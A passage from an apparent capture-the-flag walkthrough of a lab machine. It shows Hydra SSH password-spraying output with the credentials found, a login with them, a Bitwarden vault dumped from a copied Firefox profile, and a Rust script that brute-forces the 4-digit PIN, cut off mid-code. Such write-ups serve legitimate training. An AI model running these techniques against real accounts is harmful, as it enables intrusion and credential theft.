[ATTEMPT] target 10.9.0.4 - login "august.gottlieb" - pass "CorporateStarter14091992" - 11 of 78 [child 7] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "beth.feest" - pass "CorporateStarter13101996" - 12 of 78 [child 5] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "bethel.hessel" - pass "CorporateStarter29121984" - 13 of 78 [child 2] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "brody.wiza" - pass "CorporateStarter14071992" - 14 of 78 [child 3] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "callie.goldner" - pass "CorporateStarter14051967" - 15 of 78 [child 0] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "candido.hackett" - pass "CorporateStarter02021987" - 16 of 78 [child 6] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "candido.mcdermott" - pass "CorporateStarter30031973" - 17 of 78 [child 4] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "cathryn.weissnat" - pass "CorporateStarter08122002" - 18 of 78 [child 9] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "cecelia.west" - pass "CorporateStarter24041986" - 19 of 78 [child 1] ( 0/0 )
[22][ssh] host: 10.9.0.4 login: brody.wiza password: CorporateStarter14071992
[ATTEMPT] target 10.9.0.4 - login "christian.spencer" - pass "CorporateStarter26111966" - 20 of 78 [child 3] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "dangelo.koch" - pass "CorporateStarter23111986" - 21 of 78 [child 8] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "dayne.ruecker" - pass "CorporateStarter05051965" - 22 of 78 [child 5] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "dessie.wolf" - pass "CorporateStarter07031999" - 23 of 78 [child 0] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "dylan.schumm" - pass "CorporateStarter26021967" - 24 of 78 [child 7] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "elwin.jones" - pass "CorporateStarter04041987" - 25 of 78 [child 4] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "elwin.mills" - pass "CorporateStarter14111957" - 26 of 78 [child 2] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "erna.lindgren" - pass "CorporateStarter04111951" - 27 of 78 [child 1] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "esperanza.kihn" - pass "CorporateStarter23041956" - 28 of 78 [child 8] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "estelle.padberg" - pass "CorporateStarter24101989" - 29 of 78 [child 9] ( 0/0 )
[22][ssh] host: 10.9.0.4 login: elwin.jones password: CorporateStarter04041987
[ATTEMPT] target 10.9.0.4 - login "estrella.wisoky" - pass "CorporateStarter04021975" - 30 of 78 [child 4] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "garland.denesik" - pass "CorporateStarter12011992" - 31 of 78 [child 6] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "gayle.graham" - pass "CorporateStarter20101990" - 32 of 78 [child 3] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "gideon.daugherty" - pass "CorporateStarter19021969" - 33 of 78 [child 2] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "halle.keeling" - pass "CorporateStarter22021982" - 34 of 78 [child 5] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "harley.ratke" - pass "CorporateStarter24051978" - 35 of 78 [child 7] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "hector.king" - pass "CorporateStarter30101987" - 36 of 78 [child 8] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "hermina.leuschke" - pass "CorporateStarter15071986" - 37 of 78 [child 0] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "jacey.bernhard" - pass "CorporateStarter10051990" - 38 of 78 [child 4] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "jammie.corkery" - pass "CorporateStarter09041997" - 39 of 78 [child 9] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "josephine.hermann" - pass "CorporateStarter20051970" - 40 of 78 [child 1] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "joy.gorczany" - pass "CorporateStarter23011992" - 41 of 78 [child 6] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "julio.daniel" - pass "CorporateStarter23011987" - 42 of 78 [child 3] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "justyn.beahan" - pass "CorporateStarter19061981" - 43 of 78 [child 8] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "kacey.krajcik" - pass "CorporateStarter25011954" - 44 of 78 [child 0] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "kasey.walsh" - pass "CorporateStarter07081999" - 45 of 78 [child 1] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "katelin.keeling" - pass "CorporateStarter25041989" - 46 of 78 [child 6] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "katelyn.swift" - pass "CorporateStarter26071954" - 47 of 78 [child 2] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "kian.rodriguez" - pass "CorporateStarter08061957" - 48 of 78 [child 9] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "larissa.wilkinson" - pass "CorporateStarter10051979" - 49 of 78 [child 5] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "laurie.casper" - pass "CorporateStarter18111959" - 50 of 78 [child 4] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "leanne.runolfsdottir" - pass "CorporateStarter01121963" - 51 of 78 [child 7] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "lila.mcglynn" - pass "CorporateStarter10101982" - 52 of 78 [child 3] ( 0/0 )
[22][ssh] host: 10.9.0.4 login: laurie.casper password: CorporateStarter18111959
[ATTEMPT] target 10.9.0.4 - login "mabel.koepp" - pass "CorporateStarter23021995" - 53 of 78 [child 4] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "marcella.kihn" - pass "CorporateStarter09101959" - 54 of 78 [child 9] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "margarette.baumbach" - pass "CorporateStarter23031999" - 55 of 78 [child 1] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "marge.frami" - pass "CorporateStarter10062002" - 56 of 78 [child 0] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "michale.jakubowski" - pass "CorporateStarter25071989" - 57 of 78 [child 5] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "mohammed.feeney" - pass "CorporateStarter04111974" - 58 of 78 [child 2] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "morris.lowe" - pass "CorporateStarter18061983" - 59 of 78 [child 7] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "nora.brekke" - pass "CorporateStarter18011996" - 60 of 78 [child 6] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "nya.little" - pass "CorporateStarter21061965" - 61 of 78 [child 8] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "oleta.gutmann" - pass "CorporateStarter11111965" - 62 of 78 [child 4] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "penelope.mcclure" - pass "CorporateStarter08031968" - 63 of 78 [child 3] ( 0/0 )
[22][ssh] host: 10.9.0.4 login: nya.little password: CorporateStarter21061965
[ATTEMPT] target 10.9.0.4 - login "rachelle.langworth" - pass "CorporateStarter19061998" - 64 of 78 [child 8] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "raphael.adams" - pass "CorporateStarter28012001" - 65 of 78 [child 1] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "richie.cormier" - pass "CorporateStarter23011964" - 66 of 78 [child 0] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "rosalee.schmitt" - pass "CorporateStarter04071990" - 67 of 78 [child 9] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "ross.leffler" - pass "CorporateStarter11041963" - 68 of 78 [child 7] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "sadie.greenfelder" - pass "CorporateStarter21011964" - 69 of 78 [child 6] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "scarlett.herzog" - pass "CorporateStarter22061995" - 70 of 78 [child 2] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "skye.will" - pass "CorporateStarter16101965" - 71 of 78 [child 5] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "stephen.schamberger" - pass "CorporateStarter27031979" - 72 of 78 [child 4] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "stevie.rosenbaum" - pass "CorporateStarter20101987" - 73 of 78 [child 3] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "tanner.kuvalis" - pass "CorporateStarter19011969" - 74 of 78 [child 8] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "uriel.hahn" - pass "CorporateStarter25121992" - 75 of 78 [child 1] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "veda.kemmer" - pass "CorporateStarter14111980" - 76 of 78 [child 0] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "ward.pfannerstill" - pass "CorporateStarter04051971" - 77 of 78 [child 9] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "zaria.kozey" - pass "CorporateStarter12041970" - 78 of 78 [child 6] ( 0/0 )
[STATUS] attack finished for 10.9.0.4 ( waiting for children to complete tests )
1 of 1 target successfully completed, 4 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-15 08:05:24
Four valid credentials have been found.
Copy brody.wiza password: CorporateStarter14071992
elwin.jones password: CorporateStarter04041987
laurie.casper password: CorporateStarter18111959
nya.little password: CorporateStarter21061965
Log in the host 10.9.0.4 using the credential elwin.jones:CorporateStarter04041987
Copy > ssh elwin.jones@10.9.0.4
The authenticity of host '10.9.0.4 (10.9.0.4)' can 't be established.
ED25519 key fingerprint is SHA256:t36qncDFBkdTu3EZGXIaT/FUHaekgWkux2jv0vwl/JU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added ' 10.9.0.4 ' (ED25519) to the list of known hosts.
elwin.jones@10.9.0.4' s password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64 )
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu 15 Feb 13:14:05 UTC 2024
System load: 0.0322265625 Processes: 108
Usage of /: 61.7% of 6.06GB Users logged in: 0
Memory usage: 19% IPv4 address for docker0: 172.17.0.1
Swap usage: 0% IPv4 address for ens18: 10.9.0.4
Expanded Security Maintenance for Applications is not enabled.
10 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Nov 7 14:36:06 2023 from 10.9.0.1
elwin.jones@corporate-workstation-04:~$
And use this shell to collect the user flag.
ROOT
Start from a low-priv SSH shell as user elwin.jones
in host 10.9.0.4 and take the opportunity to enumerate the user and the system.
Copy > whoami && id
elwin.jones
uid = 5021 (elwin.jones) gid = 5021 (elwin.jones) groups = 5021 (elwin.jones) , 503 (it)
> uname - a && cat / etc / os - release
Linux corporate - workstation - 04 5.15 . 0 - 88 - generic #98-Ubuntu SMP Mon Oct 2 15:18:56 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
PRETTY_NAME = "Ubuntu 22.04.3 LTS"
NAME = "Ubuntu"
VERSION_ID = "22.04"
VERSION = "22.04.3 LTS (Jammy Jellyfish)"
VERSION_CODENAME = jammy
ID = ubuntu
ID_LIKE = debian
HOME_URL = "https://www.ubuntu.com/"
SUPPORT_URL = "https://help.ubuntu.com/"
BUG_REPORT_URL = "https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL = "https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME = jammy
> hostname
corporate - workstation - 04
Enumerate the home folder, there is a Firefox profile in /home/guests/elwin.jones/.mozilla/firefox/profiles.ini
Copy [Install4F96D1932A9F858E]
Default=tr2cgmb6.default-release
Locked=1
[Profile1]
Name=default
IsRelative=1
Path=ye8h1m54.default
Default=1
[Profile0]
Name=default-release
IsRelative=1
Path=tr2cgmb6.default-release
[General]
StartWithLastProfile=1
Version=2
In order to browse this profile you just need to copy all files into Firefox path /.mozilla/firefox/ tr2cgmb6.default-release
. And modify your local profiles.ini
to add the new profile.
Copy [Profile1]
Name=default
IsRelative=1
Path=cvnc0nlc.default
Default=1
[Profile0]
Name=default-esr
IsRelative=1
Path=de6ombay.default-esr
[Profile2]
Name=default-release
IsRelative=1
Path=tr2cgmb6.default-release
[General]
StartWithLastProfile=1
Version=2
[Install3B6073811A6ABF12]
Default=de6ombay.default-esr
Locked=1
Then start Firefox, list the profiles with about:profiles
and launch the profile in a new browser.
In the new window open the browser history, there are some references to a password manager called Bitwarden. Someone has been investigating if 4 digits are strong enough for a Bitwarden PIN.
Follow the history links and add Bitwarden to Firefox add-ons.
The user has searched for 4-digit Bitwarden PINs. To bruteforce it, first we need to dump the Bitwarden vault content. Install the tool moz-idb-edit.git
(https://gitlab.com/ntninja/moz-idb-edit ) as explained here: https://ambiso.github.io/bitwarden-pin/
Copy > pipx install git+https://gitlab.com/ntninja/moz-idb-edit.git
There is an SQLite database inside the profile file system in the path storage/default/moz-extension+++c8dd0025-9c20-49fb-a398-307c74e6f8b7^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite
Dump the database using the tool and save it in the file data.json
Copy > moz-idb-edit --dbpath storage/default/moz-extension+++c8dd0025-9c20-49fb-a398-307c74e6f8b7^userContextId = 4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite > data.json
{ "08b3751b-aad5-4616-b1f7-015d3be749db" : { "ciphers" : {},
"data" : { "ciphers" : { "encrypted" : { "5534f6a7-180f-40e0-bf08-ec1757651ddf" : { "collectionIds" : [],
"creationDate" : "2023-04-13T14:49:46.357808Z" ,
"deletedDate" : null,
"edit" : true ,
"favorite" : false ,
"folderId" : null,
"id" : "5534f6a7-180f-40e0-bf08-ec1757651ddf" ,
"login" : { "autofillOnPageLoad" : null,
"password" : "2.Iph36qmComaiswLb14WlAA==|PIKCpZUjUahxIZDY85A3lG3IJvuwNK7ijLPI0bOs9wo=|exw4ejWgj+J4JMvVeVNRZAAEl+AEBa9v3t2FsAbrK50=" ,
"passwordRevisionDate" : null,
"totp" : "2.loUutWoUP7wBxDuXlP/5EQ==|sS9VUekU4p9uehvbk7jghpnq48nwhXSD06A5ULGLsH6law/QKfiXMmYyy8681cIWSWR7PGKu/UpUOI54axRdbOj9idVHYI8jG2xAZ/7jgqc=|vNZ3Z9EXE7/Bx0G7Ahc3v66f79sloFCpQWiQJv9hNb4=" ,
"uris" : [{ "match" : null,
"uri" : "2.FlCTBaXbxdmpbeOkc6sVVQ==|7HKSX/80AsZ3khkAPGu6KL9FrrS1St2CgsgxpbAb5g4=|A9F8Vmxv4NlNKrBkUll24ms78gA9wRKMyc3cVvIgHSo=" }],
"username" : "2.V2ahDugC17hDcs1DXTuSIQ==|hjbtch5fmSrnQy0E5Db8WQ==|U0PYls4Yc5nS4Jj/4Ww62NwUHJVTWOfsN/Y4RYAqOHM=" },
"name" : "2.QRF9vICQrDeH9/p7O0wDGg==|gNJPx5FdIf9wsfry7G/AaA==|Kb04guj5gnFQedVEU/WxYS5DDPHGEIu2+ZXg1UUNzAs=" ,
"notes" : null,
"organizationId" : null,
"organizationUseTotp" : true ,
"reprompt" : 0,
"revisionDate" : "2023-04-13T14:49:46.357979Z" ,
"type" : 1,
"viewPassword" : true }}},
"collections" : { "encrypted" : {}},
"folders" : { "encrypted" : {}},
"localData" : { "5534f6a7-180f-40e0-bf08-ec1757651ddf" : { "lastUsedDate" : 1708102036652.0 }},
"organizations" : {},
"passwordGenerationHistory" : { "encrypted" : [{ "date" : 1708101173255.0,
"password" : "2.RQ3OFOAqquz91+AdEHv5LQ==|t3L6D+zN0NUrOUgjufix1w==|KXpdrTcyoJoT4rzonQzneFMVJvE9FC9hrj16bO0TbpY=" }]},
"policies" : { "encrypted" : {}},
"providers" : {},
"sends" : { "encrypted" : {}}},
"groupings" : { "collectionCounts" : null,
"folderCounts" : null,
"typeCounts" : null},
"keys" : { "apiKeyClientSecret" : undefined,
"cryptoMasterKey" : null,
"cryptoSymmetricKey" : { "encrypted" : "2.P1Lqt0Sx1R2CQtRNkMf5fg==|eCoKK3rLOFDr+hkEMnMXt0JVcHqPXCujrGVis+Gyw1Fr1E3gSc/vmmh7/Gvxq5Xtrm8w1QgwS1/IPQGExeoxfzPgCaT5E7hi3a9b69a6VAY=|65ddumi7WswgT0YFyjZ+pAhjvbD08a+Fv15v4rO4Pgc=" },
"privateKey": {"encrypted": "2.xdMY27MhP2jRmuDO/Rjdxw==|PuTCjfj60eX5fQ84uMY5m62tI/4g8Jd85EdO/1YeFRYN6hwKSseVJ3xbQ91NL1NfXlF23O6itFsiooctE2Uu0qzqtqzKk0Gt3LxjNeXsg0wI7YHsiPEc8VIjnAiZ4aKftOKLa+NCkcFNJMnErq6vADHedIHyTbiu2xq45pGu0rNXzi59bPnOywunwmZW20TqYNXaIf9+sWo3HvfeARJLf4p59zPZD2S41Gmouu0ecKVBrIXM3e4f+gcYRhCqV82EjurnAhrQOt2KiXQt3u9Nl/zD8KdSuGzlVxoc9ODY7PIAVzVPjaBTJDeoTq/zX66zz5q091RNI8KVMgj7kLf03KpQ9PjnlZc2JeYOQ4yWopLZ381t1WOGgeS/i3Ib40ekE5SDIk33GjPtM7+cT1HF32YlbYI9mwEHWTn4yMP5MDkVS8+EjZu7ZOvTci7v/7N0x2CoK04/B6vYnEgZDBWhp5t3ffzLEu7W98C4p+qKFUF4xm+q7HEFpf9UVTXLbbmYRMVW2uWh0ngAGCg3YpeYn3Vkyv5NmHxg0+h2PYvf1o9jeIaT5QURnr2WbJbdsusX92l3wJ1fQ95a/+zROBacZ1mNL3Qzov/blQJocAQ802mIIEoQe0XnhF3DBnY7PnoVZT1bgx2kaDVFLlMACodMvFa45Nz91NB4DNejzq0Myu4VMXLw0sf0WdNZ4EEkBTUnVDQSf/5szarmW4HgEakX9IAszPUMYGJKaqQ9bf5Pisap9jZOeNF20BcpzxYNVTEZeQ7WODmSO4fstbHD5bsJrR8sPcU21ekeNFjIhl9C72CCWDevGOFItwLJp55dX1//pXDdgRIZx/D+zar5XX+Av3AgOEyFB65UdNnQePI7UFd43a+kmAD4n8dXJkal2GbhBez8j98Q4N08GdjGM9cabXgEVnigePrg37k8YrhBCLmSjOz40HhYT6kyn1gs4NJU0ofD6e4Dl9Ql/r79IBqceMuln2cUL9kBYhRSRS8vF6iubVuVh1amCNCP1kIunn+2ZW6OPWlDjVczebsexiWg1tgCekVxLEpsERo+h0dq39u7GL9Hv0l4n77IdRMs9lBwq4Djjh6vRO+4eqLwLLxr5DX3Qb9yM/beonnMVEOvr8CpporYruUyMmwl9OYCBpLwhcPiP2Wt4uEUHvkRnZvYU+xKtQ2IH86ij4ukGQNuPiJEzvv7Z23av3Zwr1iwLVUSw8CTYPdjNw8yuqMEZkMLwnIU2JXU53GrXboFNGUwjlEQGj7l1Po4hG0u5VFrHQAizU0MaVCxDI9XJHBVisYDuSTSGsTI+4s74rcfxXfmdekn1jSbXoCx0hY3/U7ZgyTv6pIdF1U5OEVD4uDL1Kqx2a81nK6QDwv/cnxTCRVK2aoFuWqgt57bSc3BM/GVwuPsoMtodz3WvqOelMPMYkvjQD0mDP1At6/VfMfR0NPN0evtbAXORdxzOWhfI/TDuOPj2SLX6I8ja7djRy0ySi1sc9STtbSCeSjMMD9oh/IctAj7Tx5X8Uf5qJYBqDjXYh9oCYPeYkJLd5k7kcZoulvtdnPpYXNdzFfRtwQwd2as2CSIKw+FGSPjBKz6MdKmhKZINNT0vYjggR85U76Hb3PcwrseNHa+OBhYP4yqgcKQZ5A=|7JgQdibBxbz40xNTJJHWe4V8LNr9Ezz6qE/Raz4oOgo="},
"providerKeys" : { "encrypted" : {}}},
"profile" : { "apiKeyClientId" : undefined,
"convertAccountToKeyConnector" : null,
"email" : "elwin.jones@corporate.htb" ,
"emailVerified" : true ,
"hasPremiumPersonally" : true ,
"kdfIterations" : 600000,
"kdfMemory" : null,
"kdfParallelism" : null,
"kdfType" : 0,
"keyHash" : "74E71oPZI9vNnoESNkuLlaDTlk1zA/cH5l5XNOLOc4w=" ,
"lastSync" : "2024-02-16T15:43:38.290Z" ,
"name" : "Elwin Jones" ,
"userId" : "08b3751b-aad5-4616-b1f7-015d3be749db" ,
"usesKeyConnector" : false },
"send" : { "typeCounts" : null},
"sendType" : {},
"settings" : { "avatarColor" : null,
"biometricPromptCancelled" : false ,
"passwordGenerationOptions" :
"pinKeyEncryptedUserKey" : "2.92fCvr/s+DmKUmXS4GJqmg==|5j5+RwmvIJX4SqU3tx+B+Wu9NMx5+c6AXX+hbZ1rlmbEaD/eMJJJd0OokniuMfSBHB7Y+C+ncMXiv3Kc9jVvVCY/EWqulgpU37EITsS5B7A=|jtilfLu1kGSJLf8UhkRtjwYiBF8KMlbBbw6+9MShd1I=" ,
"pinProtected" : { "encrypted" : null},
"protectedPin" : "2.4hoY+wo96Tz813BqCyq7dA==|JCqDmg7NJWmPxChn5mvjVg==|HrIL6tFXmErWN1Fmuu2bnd3y8PDLfHv8AyMfZ2NyKXA=" ,
"serverConfig" : { "environment" : null,
"server" : null,
"utcDate" : "2023-04-13T15:39:48.560Z" },
"settings" :
"vaultTimeout" : 2147483647,
"vaultTimeoutAction" : "lock" },
"tokens": {"accessToken": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE2ODE0MDA0MjksImV4cCI6MTY4MTQwNzYyOSwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdHxsb2dpbiIsInN1YiI6IjA4YjM3NTFiLWFhZDUtNDYxNi1iMWY3LTAxNWQzYmU3NDlkYiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJFbHdpbiBKb25lcyIsImVtYWlsIjoiZWx3aW4uam9uZXNAY29ycG9yYXRlLmh0YiIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJvcmdvd25lciI6W10sIm9yZ2FkbWluIjpbXSwib3JndXNlciI6W10sIm9yZ21hbmFnZXIiOltdLCJzc3RhbXAiOiI4YzIyZjg1OS0wNWNkLTQ1NDAtOTE1MS1lNTBlZDRmNDFhMTciLCJkZXZpY2UiOiJkYWY2ZTQwNy00MzU2LTRjMmQtODdkNi02YjRkYzkxNTUyMTQiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.SgYJMoiBnuVhFMSElJ0PJdzc71ivD8KdXjuYeACNoibkEiYTbmgquLgYzj5i3uYpJKW8Q4zpTLdh7kfcX88xQCRG0UK6TpQXD2KiN3IvTEsmgjODLozVP_TRELBCw3hfgOuiagcoeqzFQFHnZ9pRW23EKjCVYtIS4qt6EQjIz-zIjOlnOzSe3RBD29ID4MQ77rFUnT_s0t5OJpqzAbGli-zrtspsz0_hRliyuvpyFJJRT1Ql3-fF8pr5U_iU1tsT-1uhCY3tO_1blWk81wkkjZX75BgAX9YmNkQtGR11Nk_g16SVYSxi0QkrBQ0CFdQiKbPtOGhWuc747ZdMbfWYVw",
"refreshToken" : "EtZOWBXMx8WFucPxNUg5-Wm-uqCK-5h5Ujb07AT46hj64p1ySxMOb0gusNu_1Nu65PGNTYe2HS3UWynkTn2s5g==" }},
"accountActivity" : { "08b3751b-aad5-4616-b1f7-015d3be749db" : 1708102136571.0 },
"activeUserId" : "08b3751b-aad5-4616-b1f7-015d3be749db" ,
"appId" : "daf6e407-4356-4c2d-87d6-6b4dc9155214" ,
"authenticatedAccounts" : [ "08b3751b-aad5-4616-b1f7-015d3be749db" ],
"global" : { "alwaysShowDock" : undefined,
"autoFillOverlayVisibility" : 2,
"biometricFingerprintValidated" : false ,
"disableFavicon" : false ,
"enableBrowserIntegration" : undefined,
"enableBrowserIntegrationFingerprint" : undefined,
"enableCloseToTray" : undefined,
"enableMinimizeToTray" : undefined,
"enableStartToTray" : undefined,
"enableTray" : undefined,
"locale" : undefined,
"noAutoPromptBiometricsText" : undefined,
"openAtLogin" : undefined,
"rememberedEmail" : null,
"ssoCodeVerifier" : undefined,
"ssoOrganizationIdentifier" : undefined,
"ssoState" : undefined,
"theme" : "system" ,
"vaultTimeout" : undefined,
"vaultTimeoutAction" : undefined,
"window" : {}},
"global_environment_region" : "Self-hosted" ,
"global_environment_urls" : { "api" : null,
"base" : "http://passwordtestingserver-corporate.local:8000" ,
"events" : null,
"icons" : null,
"identity" : null,
"keyConnector" : null,
"notifications" : null,
"webVault" : null},
"stateVersion" : 12,
"user_08b3751b-aad5-4616-b1f7-015d3be749db_crypto_everHadUserKey" : true ,
"user_08b3751b-aad5-4616-b1f7-015d3be749db_crypto_organizationKeys" : {},
"user_08b3751b-aad5-4616-b1f7-015d3be749db_environment_urls" : { "api" : null,
"base" : "http://passwordtestingserver-corporate.local:8000" ,
"events" : null,
"icons" : null,
"identity" : null,
"keyConnector" : null,
"notifications" : null,
"webVault" : null}}
In order to bruteforce the PIN, download this rust script: https://github.com/ambiso/bitwarden-pin
Install Rust and run the script.
Copy > export XDG_CONFIG_HOME = /home/kali/
> cargo run
Compiling cfg-if v1.0.0
Compiling typenum v1.16.0
Compiling version_check v0.9.4
Compiling generic-array v0.14.6
Compiling libc v0.2.139
Compiling autocfg v1.1.0
Compiling crossbeam-utils v0.8.14
Compiling memoffset v0.7.1
Compiling subtle v2.4.1
Compiling block-buffer v0.10.3
Compiling crypto-common v0.1.6
Compiling crossbeam-epoch v0.9.13
Compiling digest v0.10.6
Compiling scopeguard v1.1.0
Compiling getrandom v0.2.8
Compiling serde v1.0.152
Compiling rayon-core v1.10.2
Compiling rand_core v0.6.4
Compiling crossbeam-deque v0.8.2
Compiling hmac v0.12.1
Compiling crossbeam-channel v0.5.6
Compiling num_cpus v1.15.0
Compiling serde_json v1.0.91
Compiling base64ct v1.5.3
Compiling cpufeatures v0.2.5
Compiling sha2 v0.10.6
Compiling password-hash v0.4.2
Compiling either v1.8.0
Compiling ryu v1.0.12
Compiling itoa v1.0.5
Compiling rayon v1.6.1
Compiling pbkdf2 v0.11.0
Compiling hkdf v0.12.3
Compiling base64 v0.21.0
Compiling bitwarden-pin v0.1.0 (/home/kali/htb/corporate/bitwarden-pin)
Finished dev [unoptimized + debuginfo] target ( s ) in 31.33s
Running ` target/debug/bitwarden-pin `
Testing 4 digit pins from 0000 to 9999
Pin found: 0239
Several notes on the bruteforcing process:
The data.json
file needs to be trimmed in order to be correctly parsed by the script. Replace the word "untitled" by "null" in vim
with %s/untitled/null/g
Inspecting the source code (main.rs
), you see you need to define the variable XDG_CONFIG_HOME
before running the script.
Also, you need to hardcode the path to the data.json
in the source code.
In summary: set XDG_CONFIG_HOME
, hardcode the path as /htb/corporate/data.json
and save your file in ~/kali/htb/corporate/data.json
Finally, I also changed the rounds
variable to 600000 in the file main.rs
to match the variable kdfIterations
in the data.json
. I cannot confirm if this is necessary since the script takes hours to finish and did not have time to test other values.
All in all, the working script used was this.
Copy
use std :: env;
use base64 :: Engine ;
use hkdf :: Hkdf ;
use hmac :: { Hmac , Mac };
use pbkdf2 :: {
password_hash :: { PasswordHasher , SaltString },
Params , Pbkdf2 ,
};
use rayon :: prelude ::* ;
use serde_json :: Value ;
use sha2 :: Sha256 ;
fn main () {
println! ( "Testing 4 digit pins from 0000 to 9999" );
let json : Value = serde_json :: from_slice (
& std :: fs :: read ( format! (
"{}/htb/corporate/data.json" ,
env :: var ( "XDG_CONFIG_HOME" ) . unwrap ()
))
. unwrap (),
)
. unwrap ();
let email = json[json[ "activeUserId" ] . as_str () . unwrap ()][ "profile" ][ "email" ]
. as_str ()
. unwrap ();
let salt = SaltString :: b64_encode (email . as_bytes ()) . unwrap ();
let encrypted = json[json[ "activeUserId" ] . as_str () . unwrap ()][ "settings" ][ "pinProtected" ]
[ "encrypted" ]
. as_str ()
. unwrap ();
let mut split = encrypted . split ( "." );
split . next ();
let encrypted = split . next () . unwrap ();
let b64dec = base64 :: engine :: general_purpose :: STANDARD;
let mut split = encrypted . split ( "|" );
let iv = b64dec . decode (split . next () . unwrap ()) . unwrap ();
let ciphertext = b64dec . decode (split . next () . unwrap ()) . unwrap ();
let mac = b64dec . decode (split . next () . unwrap ()) . unwrap ();
let mut data = Vec :: with_capacity (iv . len () + ciphertext . len ());
data . extend (iv);
data . extend (ciphertext);
if let Some (pin) = ( 0 ..= 9999 )
. par_bridge ()
. filter_map ( | pin | {
let pin = format! ( "{pin:04}" );
let password_hash = Pbkdf2
. hash_password_customized (
pin . as_bytes (),
None ,
None ,
Params {
rounds : 600000 ,
output_length : 32 ,
},
& salt,
)
. unwrap ();
let hkdf = Hkdf :: < Sha256 > :: from_prk (password_hash . hash . unwrap () . as_bytes ()) . unwrap ();
// let mut enc_key = [0; 32];
let mut mac_key = [ 0 ; 32 ];
// hkdf.expand(b"enc", &mut enc_key).unwrap();
hkdf . expand ( b"mac" , &mut mac_key) . unwrap ();
let mut mac_verify = Hmac :: < Sha256 > :: new_from_slice ( & mac_key) . unwrap ();
mac_verify . update ( & data);
if mac_verify . verify_slice ( & mac) . is_ok () {
Some (pin)
} else {
None
}
})
. find_any ( | _ | true )
{
